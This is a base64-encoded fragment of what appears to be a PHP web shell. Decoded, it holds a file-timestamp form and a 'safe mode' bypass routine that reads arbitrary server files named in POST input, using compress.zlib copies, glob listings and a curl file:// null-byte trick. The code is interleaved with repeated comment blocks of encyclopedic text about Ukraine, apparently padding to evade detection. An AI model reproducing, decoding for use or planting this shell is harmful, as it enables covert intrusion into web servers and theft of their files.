IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ21rZmlsZSc6CgkJCQoJCQlicmVhazsKCX0KCWVjaG8gJzwvZGl2Pic7CglwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsKCSR0ZW1wPScnOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCW9iX3N0YXJ0KCk7Cglzd2l0Y2goJF9QT1NUWydwMSddKSB7CgkJY2FzZSAxOgoJCQkkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7CgkJCWlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7CgkJCQllY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CgkJCQl1bmxpbmsoJHRlbXApOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJfSBlbHNlCgkJCQllY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsKCQkJYnJlYWs7CgkJY2FzZSAyOgoJCQkkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOwoJCQlpZiggaXNfYXJyYXkoJGZpbGVzKSApCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkKCQkJCQllY2hvICRmaWxlbmFtZS4iXG4iOwoJCQlicmVhazsKCQljYXNlIDM6CgkJCSRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOwoJCQljdXJsX2V4ZWMoJGNoKTsKCQkJYnJlYWs7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9u